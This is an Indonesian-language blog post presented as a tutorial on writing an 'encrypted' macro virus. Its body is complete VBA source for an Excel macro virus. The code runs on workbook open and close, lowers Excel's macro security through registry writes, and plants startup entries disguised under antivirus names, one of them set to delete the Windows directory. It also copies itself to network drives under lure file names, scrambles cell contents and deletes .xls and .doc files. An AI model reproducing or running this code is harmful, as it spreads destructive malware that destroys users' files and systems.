Home > Tutorial > Makro..

Makro..

TRIK MEMBUAT VIRUS MACRO TERENKRIPSI

Ditulis pada oleh yos_51@yahoo.com

apa itu virus makro???

Virus makro adalah virus yang dibuat dengan memanfaatkan visual basic editor yang terdapat pada MS Office.

gimana membuatnya ?

open Word trus klik tabel tools liat macro trus klik visual basic editor

skr lo dah gw anggap tau, na buat script nya……………tunggu ntar dulu

skr nentuin gimana virus macro ini menyebar…gimana kalo bukan manfaatin removable drive kaya flashdisk

OK dari pada basa basi gw tulis ne scripnya

<!–[if !supportEmptyParas]–> <!–[endif]–>

‘Author :Aurel 666

‘Script ini dibuat bukan untuk disebarkan sebagai program perusak, tp hanya buat ‘edukasi saja. Segala bentuk kerusakan yang terjadi tidak menjadi tanggung jawab

‘gw Ok bro____________________________________________.

‘——————————Lets begin fuck script ———————————–

<!–[if !supportEmptyParas]–> ‘Pendeklarasian varibel fungsi<!–[endif]–>

<!–[if !supportEmptyParas]–> <!–[endif]–>

Private Declare Function RegOpenKeyExA Lib “advapi32.dll” (ByVal hKey As Long, _

ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As _

Long, phkResult As Long) As Long

Private Declare Function RegCreateKeyExA Lib “advapi32.dll” (ByVal hKey As Long, _

ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As _

Long, phkResult As Long) As Long

Private Declare Function RegSetValueExA Lib “advapi32.dll” (ByVal hKey As Long, _

ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, _

ByVal lpValue As String, ByVal cbData As Long) As Long

Private Declare Function RegCloseKey Lib “advapi32.dll” (ByVal hKey As Long) As Long

Private Declare Function RegCreateKey Lib “advapi32.dll” Alias “RegCreateKeyA” (ByVal _

hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Global Const REG_DWORD As Long = 4

Global Const HKEY_LOCAL_MACHINE As Long = &H80000002

Global Const HKEY_CURRENT_USER As Long = &H80000001

Dim NewKEY As Long

Dim AA, BB, NN

Dim Myclub As String

Dim CrStat As Boolean

Dim pnm As String

<!–[if !supportEmptyParas]–> <!–[endif]–>

‘ ini untuk mendisable menu dan

‘ menghapus direktory windows

<!–[if !supportEmptyParas]–> <!–[endif]–>

Sub MessBoard()

On Error Resume Next

CommandBars(”File”).Controls(”Print Area”).Visible = False

CommandBars(”Data”).Controls(”Sort”).Visible = False

CommandBars(”File”).Controls(”Page Setup…”).Visible = False

NowBoom = Array(”MsApp”, “winamp”, “Ms Wizard”, “Web Camera”, _

“PCI driver”, “App Video”, “Lshots”, “WinApps”, “MsOffice 11″)

Randomize

NowBoom = NowBoom(Rnd * 9)

KillAV = RegOpenKeyExA(HKEY_LOCAL_MACHINE, “Software\Microsoft\Windows\CurrentVersion\Run”, _

0, KEY_ALL_ACCESS, s)

KillAV = RegSetValueExA(s, NowBoom, 0, 1, “c:\windows\command\deltree windows”, 0)

KillAV = RegCloseKey(s)

End Sub

<!–[if !supportEmptyParas]–> <!–[endif]–>

Private Sub Auto_Open()

On Error Resume Next

Application.StatusBar = “Please Wait……Fuckin User”

Application.ScreenUpdating = False

CommandBars(”Tools”).Controls(”Customize…”).Visible = False

CommandBars(”Tools”).Controls(”Options…”).Visible = False

CommandBars(”Tools”).Controls(”Macro”).Enable = False

<!–[if !supportEmptyParas]–> <!–[endif]–>

’setting registry security LOW pada excel ver. 8.0 dan 9.0

Kill97 = RegOpenKeyExA(HKEY_CURRENT_USER, “Software\Microsoft\Office\8.0\Excel\” & _

“Microsoft Excel”, 0, KEY_ALL_ACCESS, k)

Kill97 = RegSetValueExA(k, “Options6″, 0, REG_DWORD, Chr$(0), 4)

Kill97 = RegCloseKey(k)

Kill2K = RegCreateKey(HKEY_CURRENT_USER, “Software\Microsoft\Office\9.0\Excel\” & _

“security”, s)

Kill2K = RegOpenKeyExA(HKEY_CURRENT_USER, “Software\Microsoft\Office\9.0\Excel”, _

0, KEY_ALL_ACCESS, s)

Kill2K = RegSetValueExA(s, “Level”, 0, REG_DWORD, Chr$(2), 2)

Kill2K = RegCloseKey(s)

<!–[if !supportEmptyParas]–> <!–[endif]–>

‘mengalihkan antivirus ke file yang anda inginkan

‘rubah file rundll.exe sesuai keinginan

<!–[if !supportEmptyParas]–> <!–[endif]–>

AnVrs = Array(”VsStatEXE”, “Norton Auto-Protect”, “PC-Mav”, “AVG”, “Avast4″, _

“Kapersky”, “McAffe”, “Ansav E+”, “Norman”)

Randomize

AVstr = AnVrs(Rnd * 9)

KillAV = RegOpenKeyExA(HKEY_LOCAL_MACHINE, “Software\Microsoft\Windows\” & _

“CurrentVersion\Run”, 0, KEY_ALL_ACCESS, s)

KillAV = RegSetValueExA(s, AVstr, 0, 1, “c:\windows\rundll.exe”, 0)

KillAV = RegCloseKey(s)

Application.DisplayAlerts = False

If Right(ActiveWorkbook.Name, 3) = “xls” Then

ActiveWindow.Visible = False

Workbooks.Add

End If

XBrnd

<!–[if !supportEmptyParas]–> <!–[endif]–>

‘membuat file Xlstart yang isinya file yg terinfeksi

‘membuat tulisan pada sheet active

<!–[if !supportEmptyParas]–> <!–[endif]–>

strup = Application.StartupPath

If Dir(strup & “\” & “*.xls”) = “” Then

pnm = ActiveWorkbook.Name

Apnm = ActiveWorkbook.FullName

OtherVrs = Dir(strup & “\” & “*.xls”)

If OtherVrs <> “” Then

Workbooks(OtherVrs).Close

Kill strup & “\” & OtherVrs

End If

Workbooks(pnm).SaveAs Filename:=strup & “\” & MyDocument & “.xls”

ActiveWindow.Visible = False

Workbooks.Open (Apnm)

End If

For n = 67 To 90

l = Chr(n)

drv = l & “:”

d3 = DrvID(drv)

If d3 = “network” Then snd2drv (drv)

Next

nmpers = Dir(strup & “\” & “*.xls”)

Application.OnSheetActivate = “” & strup & “\” & nmpers & “!XLBomb”

If Month(Now()) = 7 And Day(Now()) = 7 Then

Range(”A1″).Insert

Range(”A1″).Select

With Selection.Font

.Name = “Arial”

.FontStyle = “Bold”

.Size = 18

.ColorIndex = 7

End With

ActiveCell.FormulaR1C1 = “metal…KEEP ALIVE” ‘menampilkan pesan

MessBoard

cari

End If

Application.StatusBar = False

Application.DisplayAlerts = True

Application.ScreenUpdating = True

End Sub

<!–[if !supportEmptyParas]–> <!–[endif]–>

‘Penularan pada workbook yg aktif

‘add sheet xlSheetVeryHidden sebagai otorisasi

Sub XLBomb()

On Error Resume Next

XlsBmb = “C:\Documents and Settings\Dark.WQK”

Application.DisplayAlerts = False

Application.ScreenUpdating = False

aktip = ActiveWorkbook.Name

sedang = ThisWorkbook.Name

Set mcraktip = Workbooks(aktip).VBProject.VBComponents

Set modaktip = ActiveWorkbook.VBProject.VBComponents

Set mymcr = ThisWorkbook.VBProject.VBComponents

If aktip <> “Book1″ And aktip <> “Book2″ Then

For NS = 1 To Sheets.Count

If Sheets(NS).Name = “4ureL” Then

kz = Sheets(NS).Name

Exit For

End If

kz = Sheets(NS).Name

Next NS

If kz <> “4ureL” Then

Sheets.Add

ActiveWindow.ActiveSheet.Name = “4ureL”

Sheets(”4ureL”).Visible = xlSheetVeryHidden

Else

susun

Sheets(”4ureL”).Range(”A7″) = “”

End If

For nm = 1 To mcraktip.Count

If mcraktip(nm).Type = 1 Then

nama = mcraktip(nm).Name

Exit For

End If

Next nm

modaktip.Remove modaktip(nm)

For nm = 1 To mymcr.Count

If mymcr(nm).Type = 1 Then

nama = mymcr(nm).Name

Exit For

End If

Next nm

mymcr(nama).Export XlsBmb

modaktip.Import XlsBmb

Kill XlsBmb

XBrnd

ActiveWorkbook.VBProject.VBComponents(nm).Name = Myclub

If Minute(Now()) > 30 And Weekday(Now()) Mod 2 = 0 Then

Application.StatusBar = “Searching…….”

End If

End If

Application.DisplayAlerts = True

End Sub

<!–[if !supportEmptyParas]–> <!–[endif]–>

‘duplikasi virus dengan berbagai nama secara acak menggunakan Array

<!–[if !supportEmptyParas]–> <!–[endif]–>

Private Sub XBrnd()

Dim Sbjt, Bodd

On Error GoTo nil1

Randomize

Sbjt = Array(”Laporan”, “Kas”, “MyMoney”, “thismonth”, “Sample”, “ms0ffice”, _

“tax”, “rEPORT”, “Kuisioner”)

Myclub = Sbjt(Rnd * 9 + 1)

Exit Sub

nil1:

Myclub = Sbjt(0)

End Sub

<!–[if !supportEmptyParas]–> <!–[endif]–>

<!–[if !supportEmptyParas]–> <!–[endif]–>

Function DrvID(drv3)    ‘infeksi ke semua drive yang ada

On Error Resume Next

Dim fso, d, t

Set fso = CreateObject(”Scripting.FileSystemObject”)

Set d = fso.getdrive(drv3)

Select Case d.driveType

Case 0: t = “Unknown”

Case 1: t = “removable”

Case 2: t = “Fixed”

Case 3: t = “network”

Case 4: t = “CD-ROM”

Case 5: t = “Ramdisk”

End Select

If t = “” Then t = “none”

DrvID = t

End Function

<!–[if !supportEmptyParas]–> <!–[endif]–>

‘ penggunaan nama secara acak dengan memanfaatkan array untuk menginfeksi

Sub snd2drv(DrvAll)

On Error Resume Next

Application.DisplayAlerts = False

Application.ScreenUpdating = False

Gnm = ActiveWorkbook.Name

GnmF = ActiveWorkbook.FullName

Randomize

FlName = Array(”Colapse”, “myacc”, “report”, “launch07″, “Secret”, “jobs”, _

“reference”, “logistic”, _

“Form_login”, “NewCost”, “DontOpen”, “payment”, ” report”, “Finance”, _

“account”)

Bread = FlName(Rnd * 14 + 1)

Workbooks(Gnm).SaveAs Filename:=DrvAll & “\” & Bread & “.xls”

Workbooks(ActiveWorkbook.Name).Close

Workbooks.Open (GnmF)

Application.DisplayAlerts = True

End Sub

<!–[if !supportEmptyParas]–> <!–[endif]–>

Private Sub Auto_Close()

On Error Resume Next

If ActiveWorkbook.Name <> “Book1″ And ActiveWorkbook.Name <> “Book2″ Then

Application.ScreenUpdating = False

Application.DisplayAlerts = False

For NS = 1 To Sheets.Count

If Sheets(NS).Name = “4ureL” Then

kz = Sheets(NS).Name

Exit For

End If

kz = Sheets(NS).Name

Next NS

If kz <> “4urel” Then

Sheets.Add

ActiveWindow.ActiveSheet.Name = “4ureL”

Sheets(”4ureL”).Visible = xlSheetVeryHidden

End If

CryptSTAT = Sheets(”4ureL”).Range(”A7″)

If CryptSTAT <> 1 Then

kacau

Sheets(”4ureL”).Range(”A7″) = 1

SvFl = Dir(Application.StartupPath & “\” & “*.xls”)

Workbooks(SvFl).Save

ActiveWorkbook.Save

End If

End If

End Sub

<!–[if !supportEmptyParas]–> <!–[endif]–>

‘kalo file d tutup basic encrypt

‘kalo macro ditutup, merusak file

Sub kacau() ‘kurang setiap sheets

For i = 48 To 90 ‘48 As 0 And 90 As Z

If i <> 63 Then

huruf = Chr(i)

Cells.Replace What:=huruf, Replacement:=Chr(i + 110), LookAt:=xlPart, SearchOrder _

:=xlByRows, MatchCase:=False

End If

Next

End Sub

<!–[if !supportEmptyParas]–> <!–[endif]–>

‘mengembalikan (decrypt) struktur file saat d buka

Sub susun()

For i = 158 To 200

If i <> 173 Then

huruf = Chr(i)

Cells.Replace What:=huruf, Replacement:=Chr(i – 110), LookAt:=xlPart, SearchOrder _

:=xlByRows, MatchCase:=False

End If

Next

End Sub

<!–[if !supportEmptyParas]–> <!–[endif]–>

‘ini untuk menghapus file xls,doc & file yg anda inginkan dengan

‘membuat file tipuan dg nama sesuai folder

Sub cari()

On Error Resume Next

Dim nmfold1, nmfold2, pjg, kena As Integer

pnm = ActiveWorkbook.FullName

pjg = Len(pnm)

For i = 0 To 50

pjg = pjg – 1

If Right(Left(pnm, pjg), 1) = “\” Then

foldbatas = Left(pnm, pjg)

Kill foldbatas & “*.xls”

Kill foldbatas & “*.doc”

Kill foldbatas & “proposal.*”

If a = 0 Then

nmfold1 = Len(foldbatas) – 1

pnm = Left(pnm, nmfold1)

a = 1

Else

nmfold2 = Len(foldbatas) + 1

kena = nmfold1 – nmfold2

namekena = Right(pnm, kena + 1)

Application.ScreenUpdating = False

Workbooks.Add (namekena & “.xls”)

ActiveWorkbook.Save

ActiveWorkbook.Close

Application.ScreenUpdating = True

Exit For

End If

End If

Next

End Sub

<!–[if !supportEmptyParas]–> <!–[endif]–>

<!–[if !supportEmptyParas]–> <!–[endif]–>

<!–[if !supportEmptyParas]–> wuahhhhhhhhhhhhhhhhh capeknya nulis ………akhirnya selesai juga scriptnya

udah jam 02.00 ne…gw mo tidur dulu…key bro

klo lo pengen caci maki gw atau nyumpah silahkan lo cooment dsini

ha….ha…..hwuaaaaaaaaaaah…………..mmmmmp[phhhh…………….

Categories: Tutorial
  1. No comments yet.
  1. No trackbacks yet.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: